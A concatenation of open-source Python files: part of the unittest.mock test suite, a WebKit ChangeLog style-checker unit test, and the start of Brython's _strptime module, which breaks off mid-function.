# empty for meth in asserters: actual = "foo(1, '2', 3, foo='foo')" expected = "foo()" message = 'Expected call: %s\nActual call: %s' self.assertRaisesWithMsg( AssertionError, message % (expected, actual), meth ) def test_mock_calls(self): mock = MagicMock() # need to do this because MagicMock.mock_calls used to just return # a MagicMock which also returned a MagicMock when __eq__ was called self.assertIs(mock.mock_calls == [], True) mock = MagicMock() mock() expected = [('', (), {})] self.assertEqual(mock.mock_calls, expected) mock.foo() expected.append(call.foo()) self.assertEqual(mock.mock_calls, expected) # intermediate mock_calls work too self.assertEqual(mock.foo.mock_calls, [('', (), {})]) mock = MagicMock() mock().foo(1, 2, 3, a=4, b=5) expected = [ ('', (), {}), ('().foo', (1, 2, 3), dict(a=4, b=5)) ] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.return_value.foo.mock_calls, [('', (1, 2, 3), dict(a=4, b=5))]) self.assertEqual(mock.return_value.mock_calls, [('foo', (1, 2, 3), dict(a=4, b=5))]) mock = MagicMock() mock().foo.bar().baz() expected = [ ('', (), {}), ('().foo.bar', (), {}), ('().foo.bar().baz', (), {}) ] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock().mock_calls, call.foo.bar().baz().call_list()) for kwargs in dict(), dict(name='bar'): mock = MagicMock(**kwargs) int(mock.foo) expected = [('foo.__int__', (), {})] self.assertEqual(mock.mock_calls, expected) mock = MagicMock(**kwargs) mock.a()() expected = [('a', (), {}), ('a()', (), {})] self.assertEqual(mock.mock_calls, expected) self.assertEqual(mock.a().mock_calls, [call()]) mock = MagicMock(**kwargs) mock(1)(2)(3) self.assertEqual(mock.mock_calls, call(1)(2)(3).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).call_list()) self.assertEqual(mock()().mock_calls, call(3).call_list()) mock = MagicMock(**kwargs) mock(1)(2)(3).a.b.c(4) self.assertEqual(mock.mock_calls, call(1)(2)(3).a.b.c(4).call_list()) self.assertEqual(mock().mock_calls, call(2)(3).a.b.c(4).call_list()) self.assertEqual(mock()().mock_calls, call(3).a.b.c(4).call_list()) mock = MagicMock(**kwargs) int(mock().foo.bar().baz()) last_call = ('().foo.bar().baz().__int__', (), {}) self.assertEqual(mock.mock_calls[-1], last_call) self.assertEqual(mock().mock_calls, call.foo.bar().baz().__int__().call_list()) self.assertEqual(mock().foo.bar().mock_calls, call.baz().__int__().call_list()) self.assertEqual(mock().foo.bar().baz.mock_calls, call().__int__().call_list()) def test_subclassing(self): class Subclass(Mock): pass mock = Subclass() self.assertIsInstance(mock.foo, Subclass) self.assertIsInstance(mock(), Subclass) class Subclass(Mock): def _get_child_mock(self, **kwargs): return Mock(**kwargs) mock = Subclass() self.assertNotIsInstance(mock.foo, Subclass) self.assertNotIsInstance(mock(), Subclass) def test_arg_lists(self): mocks = [ Mock(), MagicMock(), NonCallableMock(), NonCallableMagicMock() ] def assert_attrs(mock): names = 'call_args_list', 'method_calls', 'mock_calls' for name in names: attr = getattr(mock, name) self.assertIsInstance(attr, _CallList) self.assertIsInstance(attr, list) self.assertEqual(attr, []) for mock in mocks: assert_attrs(mock) if callable(mock): mock() mock(1, 2) mock(a=3) mock.reset_mock() assert_attrs(mock) mock.foo() mock.foo.bar(1, a=3) mock.foo(1).bar().baz(3) mock.reset_mock() assert_attrs(mock) def test_call_args_two_tuple(self): mock = Mock() mock(1, a=3) mock(2, b=4) self.assertEqual(len(mock.call_args), 2) args, kwargs = mock.call_args self.assertEqual(args, (2,)) self.assertEqual(kwargs, dict(b=4)) expected_list = [((1,), dict(a=3)), ((2,), dict(b=4))] for expected, call_args in zip(expected_list, mock.call_args_list): self.assertEqual(len(call_args), 2) self.assertEqual(expected[0], call_args[0]) self.assertEqual(expected[1], call_args[1]) def test_side_effect_iterator(self): mock = Mock(side_effect=iter([1, 2, 3])) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) mock = MagicMock(side_effect=['a', 'b', 'c']) self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) mock = Mock(side_effect='ghi') self.assertEqual([mock(), mock(), mock()], ['g', 'h', 'i']) self.assertRaises(StopIteration, mock) class Foo(object): pass mock = MagicMock(side_effect=Foo) self.assertIsInstance(mock(), Foo) mock = Mock(side_effect=Iter()) self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) def test_side_effect_iterator_exceptions(self): for Klass in Mock, MagicMock: iterable = (ValueError, 3, KeyError, 6) m = Klass(side_effect=iterable) self.assertRaises(ValueError, m) self.assertEqual(m(), 3) self.assertRaises(KeyError, m) self.assertEqual(m(), 6) def test_side_effect_setting_iterator(self): mock = Mock() mock.side_effect = iter([1, 2, 3]) self.assertEqual([mock(), mock(), mock()], [1, 2, 3]) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) mock.side_effect = ['a', 'b', 'c'] self.assertEqual([mock(), mock(), mock()], ['a', 'b', 'c']) self.assertRaises(StopIteration, mock) side_effect = mock.side_effect self.assertIsInstance(side_effect, type(iter([]))) this_iter = Iter() mock.side_effect = this_iter self.assertEqual([mock(), mock(), mock(), mock()], ['this', 'is', 'an', 'iter']) self.assertRaises(StopIteration, mock) self.assertIs(mock.side_effect, this_iter) def test_side_effect_iterator_default(self): mock = Mock(return_value=2) mock.side_effect = iter([1, DEFAULT]) self.assertEqual([mock(), mock()], [1, 2]) def test_assert_has_calls_any_order(self): mock = Mock() mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(b=6) kalls = [ call(1, 2), ({'a': 3},), ((3, 4),), ((), {'a': 3}), ('', (1, 2)), ('', {'a': 3}), ('', (1, 2), {}), ('', (), {'a': 3}) ] for kall in kalls: mock.assert_has_calls([kall], any_order=True) for kall in call(1, '2'), call(b=3), call(), 3, None, 'foo': self.assertRaises( AssertionError, mock.assert_has_calls, [kall], any_order=True ) kall_lists = [ [call(1, 2), call(b=6)], [call(3, 4), call(1, 2)], [call(b=6), call(b=6)], ] for kall_list in kall_lists: mock.assert_has_calls(kall_list, any_order=True) kall_lists = [ [call(b=6), call(b=6), call(b=6)], [call(1, 2), call(1, 2)], [call(3, 4), call(1, 2), call(5, 7)], [call(b=6), call(3, 4), call(b=6), call(1, 2), call(b=6)], ] for kall_list in kall_lists: self.assertRaises( AssertionError, mock.assert_has_calls, kall_list, any_order=True ) def test_assert_has_calls(self): kalls1 = [ call(1, 2), ({'a': 3},), ((3, 4),), call(b=6), ('', (1,), {'b': 6}), ] kalls2 = [call.foo(), call.bar(1)] kalls2.extend(call.spam().baz(a=3).call_list()) kalls2.extend(call.bam(set(), foo={}).fish([1]).call_list()) mocks = [] for mock in Mock(), MagicMock(): mock(1, 2) mock(a=3) mock(3, 4) mock(b=6) mock(1, b=6) mocks.append((mock, kalls1)) mock = Mock() mock.foo() mock.bar(1) mock.spam().baz(a=3) mock.bam(set(), foo={}).fish([1]) mocks.append((mock, kalls2)) for mock, kalls in mocks: for i in range(len(kalls)): for step in 1, 2, 3: these = kalls[i:i+step] mock.assert_has_calls(these) if len(these) > 1: self.assertRaises( AssertionError, mock.assert_has_calls, list(reversed(these)) ) def test_assert_has_calls_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock(10, 11, c=12) calls = [ ('', (1, 2, 3), {}), ('', (4, 5, 6), {'d': 7}), ((10, 11, 12), {}), ] mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) # Reversed order calls = list(reversed(calls)) with self.assertRaises(AssertionError): mock.assert_has_calls(calls) mock.assert_has_calls(calls, any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[1:]) mock.assert_has_calls(calls[1:], any_order=True) with self.assertRaises(AssertionError): mock.assert_has_calls(calls[:-1]) mock.assert_has_calls(calls[:-1], any_order=True) def test_assert_any_call(self): mock = Mock() mock(1, 2) mock(a=3) mock(1, b=6) mock.assert_any_call(1, 2) mock.assert_any_call(a=3) mock.assert_any_call(1, b=6) self.assertRaises( AssertionError, mock.assert_any_call ) self.assertRaises( AssertionError, mock.assert_any_call, 1, 3 ) self.assertRaises( AssertionError, mock.assert_any_call, a=4 ) def test_assert_any_call_with_function_spec(self): def f(a, b, c, d=None): pass mock = Mock(spec=f) mock(1, b=2, c=3) mock(4, 5, c=6, d=7) mock.assert_any_call(1, 2, 3) mock.assert_any_call(a=1, b=2, c=3) mock.assert_any_call(4, 5, 6, 7) mock.assert_any_call(a=4, b=5, c=6, d=7) self.assertRaises(AssertionError, mock.assert_any_call, 1, b=3, c=2) # Expected call doesn't match the spec's signature with self.assertRaises(AssertionError) as cm: mock.assert_any_call(e=8) self.assertIsInstance(cm.exception.__cause__, TypeError) def test_mock_calls_create_autospec(self): def f(a, b): pass obj = Iter() obj.f = f funcs = [ create_autospec(f), create_autospec(obj).f ] for func in funcs: func(1, 2) func(3, 4) self.assertEqual( func.mock_calls, [call(1, 2), call(3, 4)] ) #Issue21222 def test_create_autospec_with_name(self): m = mock.create_autospec(object(), name='sweet_func') self.assertIn('sweet_func', repr(m)) def test_mock_add_spec(self): class _One(object): one = 1 class _Two(object): two = 2 class Anything(object): one = two = three = 'four' klasses = [ Mock, MagicMock, NonCallableMock, NonCallableMagicMock ] for Klass in list(klasses): klasses.append(lambda K=Klass: K(spec=Anything)) klasses.append(lambda K=Klass: K(spec_set=Anything)) for Klass in klasses: for kwargs in dict(), dict(spec_set=True): mock = Klass() #no error mock.one, mock.two, mock.three for One, Two in [(_One, _Two), (['one'], ['two'])]: for kwargs in dict(), dict(spec_set=True): mock.mock_add_spec(One, **kwargs) mock.one self.assertRaises( AttributeError, getattr, mock, 'two' ) self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) mock.mock_add_spec(Two, **kwargs) self.assertRaises( AttributeError, getattr, mock, 'one' ) mock.two self.assertRaises( AttributeError, getattr, mock, 'three' ) if 'spec_set' in kwargs: self.assertRaises( AttributeError, setattr, mock, 'three', None ) # note that creating a mock, setting an instance attribute, and # *then* setting a spec doesn't work. Not the intended use case def test_mock_add_spec_magic_methods(self): for Klass in MagicMock, NonCallableMagicMock: mock = Klass() int(mock) mock.mock_add_spec(object) self.assertRaises(TypeError, int, mock) mock = Klass() mock['foo'] mock.__int__.return_value =4 mock.mock_add_spec(int) self.assertEqual(int(mock), 4) self.assertRaises(TypeError, lambda: mock['foo']) def test_adding_child_mock(self): for Klass in NonCallableMock, Mock, MagicMock, NonCallableMagicMock: mock = Klass() mock.foo = Mock() mock.foo() self.assertEqual(mock.method_calls, [call.foo()]) self.assertEqual(mock.mock_calls, [call.foo()]) mock = Klass() mock.bar = Mock(name='name') mock.bar() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) # mock with an existing _new_parent but no name mock = Klass() mock.baz = MagicMock()() mock.baz() self.assertEqual(mock.method_calls, []) self.assertEqual(mock.mock_calls, []) def test_adding_return_value_mock(self): for Klass in Mock, MagicMock: mock = Klass() mock.return_value = MagicMock() mock()() self.assertEqual(mock.mock_calls, [call(), call()()]) def test_manager_mock(self): class Foo(object): one = 'one' two = 'two' manager = Mock() p1 = patch.object(Foo, 'one') p2 = patch.object(Foo, 'two') mock_one = p1.start() self.addCleanup(p1.stop) mock_two = p2.start() self.addCleanup(p2.stop) manager.attach_mock(mock_one, 'one') manager.attach_mock(mock_two, 'two') Foo.two() Foo.one() self.assertEqual(manager.mock_calls, [call.two(), call.one()]) def test_magic_methods_mock_calls(self): for Klass in Mock, MagicMock: m = Klass() m.__int__ = Mock(return_value=3) m.__float__ = MagicMock(return_value=3.0) int(m) float(m) self.assertEqual(m.mock_calls, [call.__int__(), call.__float__()]) self.assertEqual(m.method_calls, []) def test_mock_parents(self): for Klass in Mock, MagicMock: m = Klass() original_repr = repr(m) m.return_value = m self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m.reset_mock() self.assertIs(m(), m) self.assertEqual(repr(m), original_repr) m = Klass() m.b = m.a self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m.reset_mock() self.assertIn("name='mock.a'", repr(m.b)) self.assertIn("name='mock.a'", repr(m.a)) m = Klass() original_repr = repr(m) m.a = m() m.a.return_value = m self.assertEqual(repr(m), original_repr) self.assertEqual(repr(m.a()), original_repr) def test_attach_mock(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in classes: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'bar') self.assertIs(m.bar, m2) self.assertIn("name='mock.bar'", repr(m2)) m.bar.baz(1) self.assertEqual(m.mock_calls, [call.bar.baz(1)]) self.assertEqual(m.method_calls, [call.bar.baz(1)]) def test_attach_mock_return_value(self): classes = Mock, MagicMock, NonCallableMagicMock, NonCallableMock for Klass in Mock, MagicMock: for Klass2 in classes: m = Klass() m2 = Klass2(name='foo') m.attach_mock(m2, 'return_value') self.assertIs(m(), m2) self.assertIn("name='mock()'", repr(m2)) m2.foo() self.assertEqual(m.mock_calls, call().foo().call_list()) def test_attribute_deletion(self): for mock in (Mock(), MagicMock(), NonCallableMagicMock(), NonCallableMock()): self.assertTrue(hasattr(mock, 'm')) del mock.m self.assertFalse(hasattr(mock, 'm')) del mock.f self.assertFalse(hasattr(mock, 'f')) self.assertRaises(AttributeError, getattr, mock, 'f') def test_class_assignable(self): for mock in Mock(), MagicMock(): self.assertNotIsInstance(mock, int) mock.__class__ = int self.assertIsInstance(mock, int) mock.foo if __name__ == '__main__': unittest.main() >>>>>>> b875702c9c06ab5012e52ff4337439b03918f453
espadrine/opera
refs/heads/master
chromium/src/third_party/WebKit/Tools/Scripts/webkitpy/style/checkers/changelog_unittest.py
122
# Copyright (C) 2010 Apple Inc. All rights reserved. # Copyright (C) 2011 Patrick Gansterer <paroga@paroga.com> # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Unit test for changelog.py.""" import changelog import unittest2 as unittest class ChangeLogCheckerTest(unittest.TestCase): """Tests ChangeLogChecker class.""" def assert_no_error(self, lines_to_check, changelog_data): def handle_style_error(line_number, category, confidence, message): self.fail('Unexpected error: %d %s %d %s for\n%s' % (line_number, category, confidence, message, changelog_data)) self.lines_to_check = set(lines_to_check) checker = changelog.ChangeLogChecker('ChangeLog', handle_style_error, self.mock_should_line_be_checked) checker.check(changelog_data.split('\n')) def assert_error(self, expected_line_number, lines_to_check, expected_category, changelog_data): self.had_error = False def handle_style_error(line_number, category, confidence, message): self.had_error = True self.assertEqual(expected_line_number, line_number) self.assertEqual(expected_category, category) self.lines_to_check = set(lines_to_check) checker = changelog.ChangeLogChecker('ChangeLog', handle_style_error, self.mock_should_line_be_checked) checker.check(changelog_data.split('\n')) self.assertTrue(self.had_error) def mock_handle_style_error(self): pass def mock_should_line_be_checked(self, line_number): return line_number in self.lines_to_check def test_init(self): checker = changelog.ChangeLogChecker('ChangeLog', self.mock_handle_style_error, self.mock_should_line_be_checked) self.assertEqual(checker.file_path, 'ChangeLog') self.assertEqual(checker.handle_style_error, self.mock_handle_style_error) self.assertEqual(checker.should_line_be_checked, self.mock_should_line_be_checked) def test_missing_bug_number(self): self.assert_error(1, range(1, 20), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n') self.assert_error(1, range(1, 20), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' http://bugs.webkit.org/show_bug.cgi?id=\n') self.assert_error(1, range(1, 20), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' https://bugs.webkit.org/show_bug.cgi?id=\n') self.assert_error(1, range(1, 20), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' http://webkit.org/b/\n') self.assert_error(1, range(1, 20), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug' '\n' ' http://trac.webkit.org/changeset/12345\n') self.assert_error(2, range(2, 5), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' Example bug\n' ' https://bugs.webkit.org/show_bug.cgi\n' '\n' '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' Another change\n') self.assert_error(2, range(2, 6), 'changelog/bugnumber', '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' Example bug\n' ' More text about bug.\n' '\n' '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' No bug in this change.\n') def test_file_descriptions(self): self.assert_error(5, range(1, 20), 'changelog/filechangedescriptionwhitespace', '2011-01-01 Dmitry Lomov <dslomov@google.com>\n' ' ExampleBug\n' ' http://bugs.webkit.org/show_bug.cgi?id=12345\n' '\n' ' * Source/Tools/random-script.py:Fixed') self.assert_error(6, range(1, 20), 'changelog/filechangedescriptionwhitespace', '2011-01-01 Dmitry Lomov <dslomov@google.com>\n' ' ExampleBug\n' ' http://bugs.webkit.org/show_bug.cgi?id=12345\n' '\n' ' * Source/Tools/another-file: Done\n' ' * Source/Tools/random-script.py:Fixed\n' ' * Source/Tools/one-morefile:\n') def test_no_new_tests(self): self.assert_error(5, range(1, 20), 'changelog/nonewtests', '2011-01-01 Dmitry Lomov <dslomov@google.com>\n' ' ExampleBug\n' ' http://bugs.webkit.org/show_bug.cgi?id=12345\n' '\n' ' No new tests. (OOPS!)\n' ' * Source/Tools/random-script.py: Fixed') def test_no_error(self): self.assert_no_error([], '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example ChangeLog entry out of range\n' ' http://example.com/\n') self.assert_no_error([], '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' http://bugs.webkit.org/show_bug.cgi?id=12345\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' http://bugs.webkit.org/show_bug.cgi?id=12345\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' https://bugs.webkit.org/show_bug.cgi?id=12345\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Example bug\n' ' http://webkit.org/b/12345\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Unreview build fix for r12345.\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Fix build after a bad change.\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' '\n' ' Fix example port build.\n') self.assert_no_error(range(2, 6), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' Example bug\n' ' https://bugs.webkit.org/show_bug.cgi?id=12345\n' '\n' '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' No bug here!\n') self.assert_no_error(range(1, 20), '2011-01-01 Patrick Gansterer <paroga@paroga.com>\n' ' Example bug\n' ' https://bugs.webkit.org/show_bug.cgi?id=12345\n' ' * Source/WebKit/foo.cpp: \n' ' * Source/WebKit/bar.cpp:\n' ' * Source/WebKit/foobar.cpp: Description\n')
40223102/2015cd_midterm
refs/heads/master
static/Brython3.1.1-20150328-091302/Lib/_strptime.py
518
"""Strptime-related classes and functions. CLASSES: LocaleTime -- Discovers and stores locale-specific time information TimeRE -- Creates regexes for pattern matching a string of text containing time information FUNCTIONS: _getlang -- Figure out what language is being used for the locale strptime -- Calculates the time struct represented by the passed-in string """ import time import locale import calendar from re import compile as re_compile from re import IGNORECASE from re import escape as re_escape from datetime import (date as datetime_date, timedelta as datetime_timedelta, timezone as datetime_timezone) try: from _thread import allocate_lock as _thread_allocate_lock except ImportError: from _dummy_thread import allocate_lock as _thread_allocate_lock __all__ = [] def _getlang(): # Figure out what the current language is set to. return locale.getlocale(locale.LC_TIME) class LocaleTime(object): """Stores and handles locale-specific information related to time. ATTRIBUTES: f_weekday -- full weekday names (7-item list) a_weekday -- abbreviated weekday names (7-item list) f_month -- full month names (13-item list; dummy value in [0], which is added by code) a_month -- abbreviated month names (13-item list, dummy value in [0], which is added by code) am_pm -- AM/PM representation (2-item list) LC_date_time -- format string for date/time representation (string) LC_date -- format string for date representation (string) LC_time -- format string for time representation (string) timezone -- daylight- and non-daylight-savings timezone representation (2-item list of sets) lang -- Language used by instance (2-item tuple) """ def __init__(self): """Set all attributes. Order of methods called matters for dependency reasons. The locale language is set at the offset and then checked again before exiting. This is to make sure that the attributes were not set with a mix of information from more than one locale. This would most likely happen when using threads where one thread calls a locale-dependent function while another thread changes the locale while the function in the other thread is still running. Proper coding would call for locks to prevent changing the locale while locale-dependent code is running. The check here is done in case someone does not think about doing this. Only other possible issue is if someone changed the timezone and did not call tz.tzset . That is an issue for the programmer, though, since changing the timezone is worthless without that call. """ self.lang = _getlang() self.__calc_weekday() self.__calc_month() self.__calc_am_pm() self.__calc_timezone() self.__calc_date_time() if _getlang() != self.lang: raise ValueError("locale changed during initialization") def __pad(self, seq, front): # Add '' to seq to either the front (is True), else the back. seq = list(seq) if front: seq.insert(0, '') else: seq.append('') return seq def __calc_weekday(self): # Set self.a_weekday and self.f_weekday using the calendar # module. a_weekday = [calendar.day_abbr[i].lower() for i in range(7)] f_weekday = [calendar.day_name[i].lower() for i in range(7)] self.a_weekday = a_weekday self.f_weekday = f_weekday def __calc_month(self): # Set self.f_month and self.a_month using the calendar module. a_month = [calendar.month_abbr[i].lower() for i in range(13)] f_month = [calendar.month_name[i].lower() for i in range(13)] self.a_month = a_month self.f_month = f_month def __calc_am_pm(self): # Set self.am_pm by using time.strftime(). # The magic date (1999,3,17,hour,44,55,2,76,0) is not really that # magical; just happened to have used it everywhere else where a # static date was needed. am_pm = [] for hour in (1, 22): time_tuple = time.struct_time((1999,3,17,hour,44,55,2,76,0)) am_pm.append(time.strftime("%p", time_tuple).lower()) self.am_pm = am_pm def __calc_date_time(self): # Set self.date_time, self.date, & self.time by using # time.strftime(). # Use (1999,3,17,22,44,55,2,76,0) for magic date because the amount of # overloaded numbers is minimized. The order in which searches for # values within the format string is very important; it eliminates # possible ambiguity for what something represents. time_tuple = time.struct_time((1999,3,17,22,44,55,2,76,0)) date_time = [None, None, None] date_time[0] = time.strftime("%c", time_tuple).lower() date_time[1] = time.strftime("%x", time_tuple).lower() date_time[2] = time.strftime("%X", time_tuple).lower() replacement_pairs = [('%', '%%'), (self.f_weekday[2], '%A'), (self.f_month[3], '%B'), (self.a_weekday[2], '%a'), (self.a_month[3], '%b'), (self.am_pm[1], '%p'), ('1999', '%Y'), ('99', '%y'), ('22', '%H'), ('44', '%M'), ('55', '%S'), ('76', '%j'), ('17', '%d'), ('03', '%m'), ('3', '%m'), # '3' needed for when no leading zero. ('2', '%w'), ('10', '%I')] replacement_pairs.extend([(tz, "%Z") for tz_values in self.timezone for tz in tz_values]) for offset,directive in ((0,'%c'), (1,'%x'), (2,'%X')): current_format = date_time[offset] for old, new in replacement_pairs: # Must deal with possible lack of locale info # manifesting itself as the empty string (e.g., Swedish's # lack of AM/PM info) or a platform returning a tuple of empty # strings (e.g., MacOS 9 having timezone as ('','')). if old: current_format = current_format.replace(old, new) # If %W is used, then Sunday, 2005-01-03 will fall on week 0 since # 2005-01-03 occurs before the first Monday of the year. Otherwise # %U is used. time_tuple = time.struct_time((1999,1,3,1,1,1,6,3,0)) if '00' in time.strftime(directive, time_tuple): U_W = '%W' else: U_W = '%U' date_time[offset] = current_format.replace('11', U_W) self.LC_date_time = date_time[0] self.LC_date = date_time[1] self.LC_time = date_time[2] def __calc_timezone(self): # Set self.timezone by using time.tzname. # Do not worry about possibility of time.tzname[0] == timetzname[1] # and time.daylight; handle that in strptime . #try: #time.tzset() #except AttributeError: #pass no_saving = frozenset(["utc", "gmt", time.tzname[0].lower()]) if time.daylight: has_saving = frozenset([time.tzname[1].lower()]) else: has_saving = frozenset() self.timezone = (no_saving, has_saving) class TimeRE(dict): """Handle conversion from format directives to regexes.""" def __init__(self, locale_time=None): """Create keys/values. Order of execution is important for dependency reasons. """ if locale_time: self.locale_time = locale_time else: self.locale_time = LocaleTime() base = super() base.__init__({ # The " \d" part of the regex is to make %c from ANSI C work 'd': r"(?P<d>3[0-1]|[1-2]\d|0[1-9]|[1-9]| [1-9])", 'f': r"(?P<f>[0-9]{1,6})", 'H': r"(?P<H>2[0-3]|[0-1]\d|\d)", 'I': r"(?P<I>1[0-2]|0[1-9]|[1-9])", 'j': r"(?P<j>36[0-6]|3[0-5]\d|[1-2]\d\d|0[1-9]\d|00[1-9]|[1-9]\d|0[1-9]|[1-9])", 'm': r"(?P<m>1[0-2]|0[1-9]|[1-9])", 'M': r"(?P<M>[0-5]\d|\d)", 'S': r"(?P<S>6[0-1]|[0-5]\d|\d)", 'U': r"(?P<U>5[0-3]|[0-4]\d|\d)", 'w': r"(?P<w>[0-6])", # W is set below by using 'U' 'y': r"(?P<y>\d\d)", #XXX: Does 'Y' need to worry about having less or more than # 4 digits? 'Y': r"(?P<Y>\d\d\d\d)", 'z': r"(?P<z>[+-]\d\d[0-5]\d)", 'A': self.__seqToRE(self.locale_time.f_weekday, 'A'), 'a': self.__seqToRE(self.locale_time.a_weekday, 'a'), 'B': self.__seqToRE(self.locale_time.f_month[1:], 'B'), 'b': self.__seqToRE(self.locale_time.a_month[1:], 'b'), 'p': self.__seqToRE(self.locale_time.am_pm, 'p'), 'Z': self.__seqToRE((tz for tz_names in self.locale_time.timezone for tz in tz_names), 'Z'), '%': '%'}) base.__setitem__('W', base.__getitem__('U').replace('U', 'W')) base.__setitem__('c', self.pattern(self.locale_time.LC_date_time)) base.__setitem__('x', self.pattern(self.locale_time.LC_date)) base.__setitem__('X', self.pattern(self.locale_time.LC_time)) def __seqToRE(self, to_convert, directive): """Convert a list to a regex string for matching a directive. Want possible matching values to be from longest to shortest. This prevents the possibility of a match occurring for a value that also a substring of a larger value that should have matched (e.g., 'abc' matching when 'abcdef' should have been the match). """ to_convert = sorted(to_convert, key=len, reverse=True) for value in to_convert: if value != '': break else: return '' regex = '|'.join(re_escape(stuff) for stuff in to_convert) regex = '(?P<%s>%s' % (directive, regex) return '%s)' % regex def pattern(self, format): """Return regex pattern for the format string. Need to make sure that any characters that might be interpreted as regex syntax are escaped. """ processed_format = '' # The sub() call escapes all characters that might be misconstrued # as regex syntax. Cannot use re.escape since we have to deal with # format directives (%m, etc.). regex_chars = re_compile(r"([\\.^$*+?\(\){}\[\]|])") format = regex_chars.sub(r"\\\1", format) whitespace_replacement = re_compile('\s+') format = whitespace_replacement.sub('\s+', format) while '%' in format: directive_index = format.index('%')+1 processed_format = "%s%s%s" % (processed_format, format[:directive_index-1], self[format[directive_index]]) format = format[directive_index+1:] return "%s%s" % (processed_format, format) def compile(self, format): """Return a compiled re object for the format string.""" return re_compile(self.pattern(format), IGNORECASE) _cache_lock = _thread_allocate_lock() # DO NOT modify _TimeRE_cache or _regex_cache without acquiring the cache lock # first! _TimeRE_cache = TimeRE() _CACHE_MAX_SIZE = 5 # Max number of regexes stored in _regex_cache _regex_cache = {} def _calc_julian_from_U_or_W(year, week_of_year, day_of_week, week_starts_Mon): """Calculate the Julian day based on the year, week of the year, and day of the week, with week_start_day representing whether the week of the year assumes the week starts on Sunday or Monday (6 or 0).""" first_weekday = datetime_date(year, 1, 1).weekday() # If we are dealing with the %U directive (week starts on Sunday), it's # easier to just shift the view to Sunday being the first day of the # week. if not week_starts_Mon: first_weekday = (first_weekday + 1) % 7 day_of_week = (day_of_week + 1) % 7 # Need to watch out for a week 0 (when the first day of the year is not # the same as that specified by %U or %W). week_0_length = (7 - first_weekday) % 7 if week_of_year == 0: return 1 + day_of_week - first_weekday else: days_to_week = week_0_length + (7 * (week_of_year - 1)) return 1 + days_to_week + day_of_week def _strptime(data_string, format="%a %b %d %H:%M:%S %Y"): """Return a 2-tuple consisting of a time struct and an int containing the number of microseconds based on the input string and the format string.""" for index, arg in enumerate([data_string, format]): if not 